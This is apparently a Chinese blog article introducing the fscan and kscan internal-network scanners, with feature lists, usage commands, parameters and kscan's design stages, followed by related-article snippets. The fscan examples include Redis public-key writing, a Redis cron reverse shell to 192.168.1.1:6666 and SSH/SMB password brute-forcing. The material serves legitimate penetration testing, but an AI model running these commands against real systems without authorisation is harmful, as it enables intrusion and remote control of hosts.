漏洞扫描工具(一)

article/2025/9/30 14:45:38

FSCAN

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。

它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

源码链接:GitHub - shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb等)
  • 数据库密码爆破(mysql、mssql、redis、psql等)

3.系统信息、漏洞扫描:

  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行

6.其他功能:

  • 文件保存

使用方法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)  
fscan.exe -h 192.168.1.1/16  (B段扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)  
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)  
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)  
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)  
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)  
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)  
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)   
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )  
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)  
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)  
fscan.exe -hf ip.txt  (以文件导入)

参数

  -c stringssh命令执行-cookie string设置cookie-debug int多久没响应,就打印当前进度(default 60)-domain stringsmb爆破模块时,设置域名-h string目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12-hf string读取文件中的目标-hn string扫描时,要跳过的ip: -hn 192.168.1.1/24-m string设置扫描模式: -m ssh (default "all")-no扫描结果不保存到文件中-nobr跳过sql、ftp、ssh等的密码爆破-nopoc跳过web poc扫描-np跳过存活探测-num intweb poc 发包速率  (default 20)-o string扫描结果保存到哪 (default "result.txt")-p string设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")-pa string新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)-path stringfcgi、smb romote file path-ping使用ping代替icmp进行存活探测-pn string扫描时要跳过的端口,as: -pn 445-pocname string指定web poc的模糊名字, -pocname weblogic-proxy string设置代理, -proxy http://127.0.0.1:8080-user string指定爆破时的用户名-userf string指定爆破时的用户名文件-pwd string指定爆破时的密码-pwdf string指定爆破时的密码文件-rf string指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)-rs stringredis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)-silent静默扫描,适合cs扫描时不回显-sshkey stringssh连接时,指定ssh私钥-t int扫描线程 (default 600)-time int端口扫描超时时间 (default 3)-u string指定Url扫描-uf string指定Url文件扫描-wt intweb访问超时时间 (default 5)

是一款很实用的工具,平时有很多场景可以使用到。

K scan

简介

kscan是一款资产测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是go平台首款开源的RDP暴力破解工具。

目前类似的资产扫描、指纹识别、漏洞检测的工具其实已经非常多了,也不乏有很棒的工具,但是Kscan其实有很多不同的想法。

  • Kscan希望能够接受多种输入格式,无需在使用之前对扫描对象进行分类,比如区分为IP,还是URL地址等,这对于使用者来说无疑是徒增工作量,所有的条目,均能正常输入和识别,若是URL地址,则会保留路径进行检测,若只是IP:PORT,则会优先对该端口进行协议识别。目前Kscan支持三种输入方式(-t,--target|-f,--fofa|--spy)。
  • Kscan没有为了追求效率,而根据端口号与常见协议进行比对来确认端口协议,也不是只检测WEB资产,在这方面,Kscan则更加看重准确性和全面性,只有高准确性的协议识别,才能为后续的应用层识别,提供良好的检测条件。
  • Kscan不是采用模块化的方式做单纯的功能堆叠,比如某个模块单独获取标题,某个模块单独获取SMB信息等等,独立运行,独立输出,而是以端口为单位输出资产信息,比如端口协议为HTTP,则会自动化进行后续的指纹识别、标题获取,端口协议为RPC,则会尝试获取主机名等等。

使用方法

usage: kscan [-h,--help] (-t,--target) [--spy] [-p,--port|--top] [-o,--output] 
[--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [--check] [--encoding]optional arguments:
-h , --help     show this help message and exit
-t , --target   指定探测对象:IP地址:114.114.114.114IP地址段:114.114.114.114/24,不建议子网掩码小于12IP地址段:114.114.114.114-115.115.115.115URL地址:https://www.baidu.com文件地址:file:/tmp/target.txt
-p , --port     扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
-o , --output   将扫描结果保存到文件
-Pn          	  使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
--check         针对目标地址做指纹识别,仅不会进行端口探测
--top           扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP4000
--proxy         设置代理(socks5|socks4|https|http)://IP:Port
--threads       线程参数,默认线程400,最大值为2048
--path          指定请求访问的目录,逗号分割
--host          指定所有请求的头部Host值
--timeout       设置超时时间
--encoding      设置终端输出编码,可指定为:gb2312、utf-8
--spy           网段探测模式,此模式下将自动探测主机可达的内网网段,无需配置其他任何参数
--rarity        指定Nmap指纹识别级别[0-9],数字越大可识别的协议越多越准确,但是扫描时间会更长,默认为:4

原理

如上图所示,从提供攻击目标,到最终实施攻击,经历了四个关键阶段。

  • 转换阶段这部分阶段主要目标是完成:从攻击目标到信息资产的一个转换,例如从一个关键字、主域名到具体的IP地址或者其他引申的子域名,主要手段是通过FOFA、钟馗之眼、子域名挖掘/爆破工具来生成一个模糊的清单用于后续阶段去做深层次的筛选。其实EHole、Glass等工具有做这一个阶段的整合,但是在这方面,我没有把这个功能做到kscan中,目前我其实是刻意把转换阶段独立出来的。因为在这个阶段,不论是搜索的关键字也好,还是通过域名找到真实IP也好,还是其实更多的需要”人“来做识别。识别完成之后,再生成一个清单给kscan,这样会使后面的流程更高效。当然这只是我的个人的一个执念,如果后续反响强烈的话,加进去其实也未尝不可。
  • 扫描阶段这一阶段主要是针对IP进行端口扫描以便于后续的应用层识别,扫描速率达标的工具诸如:s.exe、masscan等大都只能实现对开放情况进行探测。而目前的大部分工具,把这部分工作交给了FOFA等搜索引擎,不会自己进行资产探测,这样的优点是不会有大量的端口探测包打草惊蛇,缺点是存在时效性。可能漏掉资产。权衡之后,最终还是把这块功能整合到了kscan中,毕竟IP被封了可以换,资产漏掉了可就是真的漏掉了。
  • 识别阶段这一阶段就是对已开放的端口进行深度的端口识别,传统工具大都是只能对端口开放情况进行探测,各别具备识别功能的工具如:nmap效率则是硬伤,而且不能对内容进行解析,无法获取标题等。又或者只能进行HTTP等特定协议进行识别。为了解决这些问题,kscan在确保效率、不发送更多数据包的前提下,能够识别大多数开放端口的协议。
  • 检测阶段最后一个阶段,就是应用层检测了,类似CMS指纹识别、敏感目录/文件探测等等,kscan的开发初衷是在不发送更多数据的情况下更多的获取目标的信息,所以不会进行更深层次的目录扫描、指纹比对。但是会进行ico文件hash比对以及首页关键字比对,和返回包头部比对。这其实基本可以满足大部分的指纹识别需求了。

 


http://chatgpt.dhexx.cn/article/CZFNak3o.shtml

相关文章

Windows7之天镜漏洞扫描工具安装

01 天镜漏洞扫描工具安装 01 安装天镜 02 升级漏洞 03 重启win7, 多次重复升级过程(1次可能没办法成功) 04 成功之后查看版本

AWVS-Web漏洞扫描工具

一、AWVS简介 Acunetix Web Vulnerability Scanner(简称AWVS)是一个自动化的Web漏洞扫描工具,它可以扫描任何通过Web浏览器访问和遵循HTTP/HTTPS规则的Web站点。 AWVS原理是基于漏洞匹配方法,通过网络爬虫测试你的网站安全&…

如何自己开发漏洞扫描工具

漏洞扫描工具,核心就是扫描器,而扫描器的设计思想是:灵活,易扩展,易修改,灵活的意思就是可单独执行专项漏洞的扫描,也可以批量执行集成的所有漏洞探测模块;易扩展的意思就是&#xf…

漏洞扫描工具openvas

openvas简介 安装环境 安装openvas 一系统简介 OpenVAS是开放式漏洞评估系统,也可以说它是一个包含着相关工具的网络扫描器。其核心部件是一个服务器,包括一套网络漏洞测试程序,可以检测远程系统和应用程序中的安全问题。 用户需要一种自动…

漏洞扫描工具汇总

漏洞扫描器可以快速帮助我们发现漏洞,如SQL注入漏洞、CSRF、缓冲区溢出等。下面就介绍几种常用的漏洞扫描工具。 Fortify 代码审计工具Fortify SCA (Fortify Static Code Analyzer),一款软件代码安全测试工具,提供静态源码扫描能力&#xf…

Kali漏洞扫描工具OpenVas

一、漏洞扫描器 漏洞扫描器通常由两个部分组成 ①进行扫描的引擎部分②包含了世界上大多数系统和软件漏洞特征的特征库 比较优秀的漏洞扫描器: Rapid7 Nexpose:(商用软件)适合较大的网络Tenable Nessus:(商…

10种用于渗透测试的漏洞扫描工具有哪些_渗透测试和漏洞扫描区别

大家好,又见面了,我是你们的朋友全栈 [漏洞]扫描[工具]是IT部门中必不可少的工具之一,因为漏洞每天都会出现,给企业带来安全隐患。 [漏洞扫描工具有助于检测安全漏洞、应用程序、操作系统、硬件和网络系统。 黑客在不停的寻找漏…

5 款漏洞扫描工具:实用、强力、全面(含开源)

目录 引言 5款工具,打包带走吧! 第一款:Trivy 概述 安装 第二款:OpenVAS 概述 安装 第三款:Clair 概述 安装 第四款:Anchore 概述 安装 第五款:Sqlmap 概述 安装 引言 漏洞扫描是一…

漏洞扫描工具大全,妈妈再也不用担心我挖不到漏洞了

漏洞扫描工具大全,妈妈再也不用担心我挖不到漏洞了 1.常见漏洞扫描工具2.AWVS3.AppScan4.X-ray5.Goby6.Goby联动Xray7.Goby联动御剑1.常见漏洞扫描工具 NMAP,AWVS,Appscan,Burpsuite,x-ray,Goby 2.AWVS Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络…

工具|2021年十大扫描漏洞工具

自动化已经在每个行业代替了不同的工种, 在网络安全信息战争中也不例外,优秀的黑客工具可以足够半自动挖成渗透测试。只有深度才是独一无二的存在。深度学习关注公众号:Esn技术社区 2021年 十大黑客工具列表 AcunetixNmapMetasploitWiresharkNiktoJohn the RipperK…

渗透测试工具——漏洞扫描工具

安全漏洞产生的原因 技术原因 软件系统复杂性提高,质量难于控制,安全性降低公用模块的使用引发了安全问题 经济原因 “柠檬市场”效应——安全功能是最容易删减的部分 环境原因 从传统的封闭、静态和可控变为开放、动态和难控攻易守难 安全缺陷 安全性缺…

C#在Panel控件中添加另外一个窗体

一,新建窗体如下 二、定义并设置窗体 在新的窗体中定义 Form_Config formConfig new Form_Config(); 设置窗体的属性   formConfig.Dock DockStyle.Fill;   formConfig.TopLevel false;   formConfig.FormBorderStyle System.Windows.Forms.FormBorderSty…

重绘panel控件,实现panel的阴影效果

最近想在项目中添加一个要有阴影的panel控件,找了好多资料,最后通过采用图片的方式实现了panel的阴影效果,效果图如下: 重绘代码如下: 1 using System;2 using System.Collections.Generic;3 using System.ComponentMo…

C# 使用Panel控件实现窗体嵌套

一、准备步骤: 1. 创建一个Windows应用程序 2. 把默认窗口的名字为Form1(如上图) 3. 创建一个Windows窗体,为Form2(如上图) 4. 在Form1窗口中增加一个按钮button,然后增加一个Panel,双击按钮在按钮里面写事件(如下…

asp.net panel 加html,ASP.NET中 Panel 控件的使用方法

Panel 控件在 ASP.NET 网页中提供一种容器控件,可以将它用作静态文本和其他控件的父控件。 一、常见 Panel 属性 属性 描述 HorizontalAlign 指定子控件在面板内的对齐方式(左对齐、右对齐、居中或两端对齐)。 Wrap 指定面板内过宽的内容是要换到下一行,…

C#当中如何使用Panel控件显示其它窗体

【效果图】 要实现点击左边不同的功能时,在右面pannel控件中显示对应的窗体 【代码】 窗体是一个顶级控件,要想将其显示在panel控件中,要将窗体设置为非顶级控件 form.TopLevel false; 下面是一个将窗体显示在Panel控件中的方法 this.pa…

panel中html怎么写,panel控件有什么用 请写出Panel控件的用途

当多个panel控件重叠时,把一个panel的visible/设置为true,其它的设置为f例如有3个panel,分别为panel1,panel2,panel3 如果重叠的话,把他们的大小设置为相同大小,直接通过上下层来控制即可,例如想要panel2显示出来,就用 panel2.BringToFront; 要是想panel1显示则用panel1.B…

多个panel控件重合使用时,某个panel控件不显示问题?

前言 在设计一个界面时,为了节省空间,我将控件分类后分别放到了三个重合放置的Panel中,并添加三个了按钮作为调出对应Panel的媒介,如图1-1所示。 图1-1 简化效果图 按钮的调用代码如下: private void btnOne_Click(o…

C#中Panel控件的使用

大家在创建winform的时候,是不是很多时候都需要建立父窗体,然后再父窗体基础上添加子窗体,然后再单击事件的时候还有可能弹出好多的窗口,今天给大家带来有关panel控件福利。 Panel控件相当于在我们主窗体中添加了一个容器&#xf…

机房重构-panel控件

第一种用法: 以前实现这些需要用属性Enabled为False。 其实VS中自带了一个panel控件可以实现这个。 把text控件放到panel上,在修改按钮这里写入下面代码,就可以使panel上所有控件可修改。 private void btnModify_Click(object sender, Ev…